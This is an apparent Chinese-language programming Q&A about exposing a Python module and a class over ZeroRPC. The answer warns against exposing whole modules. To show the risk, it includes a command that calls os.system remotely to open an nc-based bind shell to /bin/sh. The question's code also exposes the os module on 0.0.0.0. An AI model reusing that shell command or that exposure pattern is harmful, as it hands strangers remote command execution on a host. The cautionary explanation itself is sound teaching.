ZeroRPC:如何暴露一个模块
我刚接触ZeroRPC,
我想把一个类和一个模块公开出来,所以我其实有两个问题:
- 公开一个模块的最佳方法是什么?我试过类似这样的做法:
import zerorpc
server_obj = __import__("os")
s = zerorpc.Server(server_obj)
s.bind("tcp://0.0.0.0:4242")
s.run()
- 现在,如果我也想公开HelloRPC()这个类,我该怎么做呢?
谢谢
1 个回答
3
我不太赞成直接暴露一个模块。这样做太容易让你不小心暴露出更多的内容(无论是现在还是将来如果模块里添加了新东西)。
另外,只有那些“自然可序列化”的Python类型才能在函数的参数和返回值中使用msgpack。
根据我的个人看法和经验,最好是创建一个专门的类,只暴露你需要的内容,并且要有清晰的文档说明。
不过,回答你的问题:是的,你所做的确实是暴露模块的正确方式。
一个zerorpc.Server一次只能暴露一个对象。当然,你可以在同一个进程中运行多个zerorpc.Server(不过要在不同的端口上):
s1 = zerorpc.Server(objectA)
s1.bind("tcp://0.0.0.0:4242")
s2 = zerorpc.Server(objectB)
s2.bind("tcp://0.0.0.0:8686")
gevent.spawn(s1.run)
s2.run()
除了对象,你还可以提供一个函数字典来进行暴露。通过一点点反射,你可以做一些魔法(不过我不推荐这样做,因为这样很容易不小心暴露太多东西):
import zerorpc
import os
# extract any public callable.
def extract_all_the_functions(obj, prefix):
all_the_things = ((k, getattr(obj, k)) for k in dir(obj))
return { prefix + k: f for k, f in all_the_things
if not k.startswith('_') and callable(f) }
class MyObject(object):
def add(self, a, b):
return a + b
funcs = extract_all_the_functions(os, 'os_')
funcs.update(extract_all_the_functions(MyObject(), 'myobj_'))
s = zerorpc.Server(funcs)
s.bind('tcp://127.0.0.1:4242')
s.run()
然后你就可以使用它,做一些不太好的事情了:
$ zerorpc tcp://127.0.0.1:4242 myobj_add 1 2
connecting to "tcp://127.0.0.1:4242"
'12'
$ zerorpc tcp://127.0.0.1:4242 os_listdir /proc/self/task
connecting to "tcp://127.0.0.1:4242"
['4100', '4106', '4107']
$ zerorpc tcp://127.0.0.1:4242 os_system '(mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1337 > /tmp/f)&'
# Yeah... exposing too much is quickly dangerous.